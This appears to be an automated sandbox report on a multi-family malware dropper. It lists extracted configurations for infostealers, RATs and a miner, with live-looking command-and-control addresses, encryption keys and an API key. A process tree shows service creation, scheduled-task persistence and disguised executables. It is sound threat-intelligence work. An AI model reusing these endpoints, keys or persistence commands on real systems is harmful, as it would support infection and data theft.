Resubmissions
15/09/2026, 11:12
260915-navswatygv1007/09/2026, 00:25
260907-aqql7sttav1004/08/2026, 14:58
260804-sb5rpashpf1004/08/2026, 06:06
260804-gt3t9seb381004/08/2026, 05:43
260804-gey8jaw1bx1024/07/2026, 07:14
260724-h2zy1svbmg1024/07/2026, 07:09
260724-hy9ztatwfy1024/07/2026, 06:50
260724-hmdggahn6v1021/07/2026, 16:13
260721-tpe9macc42321/07/2026, 16:00
260721-tfvb7axvcy10Analysis
- max time kernel
108s - max time network
604s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
04/08/2026, 14:58
General
- Target New Text Document mod.exe
- Size 8KB
- Sample260804-sb5rpashpf
- SHA256 2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2
Score
10/10
Malware Config
Extracted
Family
-
svcstealer
C2
-
http://196.251.107.186/acovp/post.php
-
http://192.162.199.186/usovp/post.php
-
http://196.251.107.163/bioxp/post.php
Attributes
-
build_id
SlLoaded
-
srv_delay
1
-
srv_retry
1
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
Office04
C2
-
94.158.245.53:9992
Mutex
-
4abbc77f-27e2-4983-8fe9-6fafbfb7627b
Attributes
-
encryption_key
F5CCD6560C6A9C857BE240A8EE0DF9CF88BC3B2B
-
install_name
Client.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Extracted
Family
-
ratonrat
Version
-
Professional
C2
-
16.170.169.119:8080
Mutex
-
GPMEaht28D0drQKjxak6e0p
Attributes
-
assist
false
-
box
false
-
box_icon
Error
-
box_msg
I'm the message box description
-
box_title
Hello World
-
defender
false
-
delay
0
-
hide_file
false
-
open_website
false
-
process_critical
false
-
raw
silly21
-
reconnect
3
-
startup
true
-
tag
Infected
-
uac
false
-
vm
false
-
website
https://t.me/example
Extracted
Family
-
vidar
Version
-
2.6
Botnet
-
ee24521c6a3a8dc1be6736334f3e1620
C2
-
https://sot.tbo88men.top
-
https://t.me/np33yk
-
https://steamcommunity.com/profiles/76561198671804195
Attributes
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0
Extracted
Family
-
asyncrat
Botnet
-
Default
Attributes
-
delay
1
-
install
true
-
install_file
vortex.exe
-
install_folder
%AppData%
-
local_host
127.0.0.1
aes.plain
Extracted
Family
-
remus_stealer
C2
-
http://carogra.biz:4219
-
http://angect.xyz:7838
-
http://myrtler.biz:9549
Extracted
Family
-
phorphiex
C2
-
http://178.16.55.240/
-
http://178.16.54.109/spmm/
-
http://178.16.54.109/ot/
Mutex
-
hhshshhsh
Attributes
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36
Extracted
Family
-
stealc
Botnet
-
R909
C2
-
http://45.131.214.189
Attributes
-
url_path
/6a4133a676c340b0b27b.php
rc4.traffic_key
rc4.C2
Extracted
Family
-
vidar
Version
-
1.5
Botnet
-
3bc41b1aa7524456de3f85c8d329d639
C2
-
https://1.me/hgo9tx
-
https://steamcommunity.com/profiles/76561198707628078
Attributes
-
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Extracted
Family
-
xworm
Version
-
5.0
C2
-
185.208.156.210:7000
Mutex
-
oZ1kVjhDzAsWplGu
Attributes
-
Install_directory
%AppData%
-
install_file
XClient.exe
aes.plain
Extracted
Family
-
needle_stealer
C2
-
http://130.12.180.135:3000/api/v2
Attributes
-
api_key
alk_2f668968ee87e7d30f8b996112bebef880cfe8626af9c1d8d53e0f719e47be4f
-
base_extension
false
-
self_destruct
false
Extracted
Family
-
quasar
Attributes
-
encryption_key
AFA3CAD4ED1D6F9700536DD60F51307FFEA2892B
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Extracted
Family
-
phorphiex
C2
-
178.16.54.109
Mutex
-
TWIZTPEINF
Signatures
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Family: NeedleStealer
NeedleStealer is a modular stealer written in Golang.
- Family: Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Family: RatonRAT
RatonRAT is an information stealer written in C#.
- Family: Remus
Remus is a stealer written in C++.
- Family: SiriusRAT
SiriusRAT is a Windows RAT written in C++ with HVNC, offline keylogging, and remote desktop capabilities.
- Family: Stealc
Stealc is an infostealer written in C++.
- Family: SvcStealer, Diamotrix
SvcStealer aka Diamotrix Clipper is a stealer/downloader written in C++.
- Family: Vidar
Vidar is an infostealer based on Arkei stealer.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Async RAT payload 1 IoCs
- Detect SalatStealer payload 1 IoCs
- Detect Xworm Payload 1 IoCs
- Detects NeedleStealer payload 1 IoCs
- Detects RatonRAT payload 1 IoCs
- Detects SiriusRAT 1 IoCs
- Detects Stealc stealer Version 2 1 IoCs
- Quasar payload 3 IoCs
- XMRig Miner payload 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Downloads MZ/PE file 4 IoCs
- Modifies Windows Firewall 2 TTPs 15 IoCs
- Signed with revoked ConnectWise certificate 4 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
- Creates new service(s) 2 TTPs
- Executes dropped EXE 11 IoCs
- Loads dropped DLL 8 IoCs
- Modifies file permissions 1 TTPs 2 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Themida packer 1 IoCs
Detects Themida, an advanced Windows software protection system.
- Adds Run key to start application 2 TTPs 6 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 9 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Looks up external IP address via web service 1 TTPs 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 4 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- UPX packed file 26 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Costura .NET executable packer 1 IoCs
Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.
- Launches sc.exe 15 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Detects Pyinstaller 6 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 38 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 3 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Inno Setup is an open-source installation builder for Windows applications. 10 IoCs
Inno Setup installer
- NSIS installer 3 IoCs
- Delays execution with timeout.exe 2 IoCs
- Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
- GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
- Kills process with taskkill 19 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 24 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 43 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
- Views/modifies file attributes 1 TTPs 2 IoCs
Processes
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
- Adds Run key to start application
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"2⤵
- Downloads MZ/PE file
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\4.exe"C:\Users\Admin\AppData\Local\Temp\a\4.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
C:\Users\Admin\AppData\Local\Temp\a\3.exe"C:\Users\Admin\AppData\Local\Temp\a\3.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
C:\Users\Admin\AppData\Local\Temp\a\2.exe"C:\Users\Admin\AppData\Local\Temp\a\2.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-1B680S4XGG.tmp\2.tmp"C:\Users\Admin\AppData\Local\Temp\is-1B680S4XGG.tmp\2.tmp" /SL5="$C02A2,4057916,1011712,C:\Users\Admin\AppData\Local\Temp\a\2.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\1.exe"C:\Users\Admin\AppData\Local\Temp\a\1.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_b74843ad95bef0e9.exe"C:\Users\Admin\AppData\Local\Temp\a\file_b74843ad95bef0e9.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\sx0e5c4500.exe"C:\Users\Admin\AppData\Local\Temp\sx0e5c4500.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exe"C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exe"3⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.3.4.9288\8cc35048be814aac\ScreenConnect.ClientSetup.msi"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\support.client.exe"C:\Users\Admin\AppData\Local\Temp\a\support.client.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\5239f7a9c7ae.exe"C:\Users\Admin\AppData\Local\Temp\a\5239f7a9c7ae.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\USDT Flasher\USDT Flasher.exe"C:\Users\Admin\AppData\Roaming\USDT Flasher\USDT Flasher.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\xmrig.exe"C:\Users\Admin\AppData\Local\Temp\a\xmrig.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\a7118141be1f.exe"C:\Users\Admin\AppData\Local\Temp\a\a7118141be1f.exe"3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/@NumbYYT-u5m4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x320,0x7ffe29c1c188,0x7ffe29c1c194,0x7ffe29c1c1a05⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1524,i,11271570369073947393,5492769242290287528,262144 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1872,i,16712419781682326366,18124998349603874366,524288 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=2812 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1400,i,1999448063695747304,4714151638763260262,524288 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=3080 /prefetch:135⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3560,i,14714210916214641885,8941544562676808092,2097152 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=3588 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3592,i,7022850844915190280,10000008255425531351,2097152 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4160,i,64186605178774730,2941792398768720797,2097152 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=4220 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4356,i,17711153108320869277,17027049246636697118,2097152 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=4352 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5276,i,7467855270501010660,6602672527275260521,524288 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=5280 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5376,i,2526876019309812569,10602323305355315037,2097152 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=5388 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5560,i,4414928624617591309,5634124801600603509,524288 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5420,i,4471147116326987166,168270317008560608,524288 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=5628 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5308,i,14452003228101866880,2138893537156870648,524288 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=3732 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5308,i,14452003228101866880,2138893537156870648,524288 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=3732 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1280,i,13263247091718240793,12202075756893544122,524288 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=6200 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=924,i,5770534688809402726,6906952847661994988,524288 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=4348 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=920,i,4351312067638799186,13933482193901955891,524288 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=6280 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6200,i,9551146774682209990,8711213783008915829,524288 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=5872 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6280,i,13378034626866296647,382169900765970101,262144 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=6308 /prefetch:105⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5036,i,11851674950590220160,10313472456349205584,524288 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=5788 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3652,i,9973870706095812728,5010804313839234138,524288 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=4576 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6424,i,11574840434982923661,3814040741584172170,524288 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=6228 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6572,i,14543837227950777385,15219840874666444282,524288 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=6576 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6716,i,12218249756009509587,2045033712992769460,524288 --field-trial-handle=2792,i,15729776642146213475,14351920338790637985,262144 --variations-seed-version --mojo-platform-channel-handle=3388 /prefetch:145⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsClient.exe"C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsClient.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 14924⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsBackstageShell.exe"C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsBackstageShell.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 19324⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsFileManager.exe"C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsFileManager.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 18964⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientService.exe"C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientService.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\mKM65Cf6QNqeOVw9.exe"C:\Users\Admin\AppData\Local\Temp\a\mKM65Cf6QNqeOVw9.exe"3⤵
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" delete "MicrosoftEdgeUpdateTaskMachine_3aa5"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" create "MicrosoftEdgeUpdateTaskMachine_3aa5" binpath= "C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe" start= "auto"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" start "MicrosoftEdgeUpdateTaskMachine_3aa5"4⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\6eq5gvOfRvNmCi54.exe"C:\Users\Admin\AppData\Local\Temp\a\6eq5gvOfRvNmCi54.exe"3⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\AppRepository\B2A4528A\MusNotificationce794c.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\AppRepository\B2A4528A\MusNotificationce794c.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\9z7BGnRGpgs8cZv7.exe"C:\Users\Admin\AppData\Local\Temp\a\9z7BGnRGpgs8cZv7.exe"3⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "ScheduledDefragmentation_1f05" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe" /sc minute /mo 1 /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe"4⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "ScheduledDefragmentation_1f05" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe" /sc minute /mo 1 /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\gM9anpOuZNKX8zHj.exe"C:\Users\Admin\AppData\Local\Temp\a\gM9anpOuZNKX8zHj.exe"3⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "DeviceMetadataRetrieval_e122" /tr "C:\Users\Admin\AppData\Roaming\Keys7EE7\SmartScreenHost27dac.exe" /sc minute /mo 1 /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
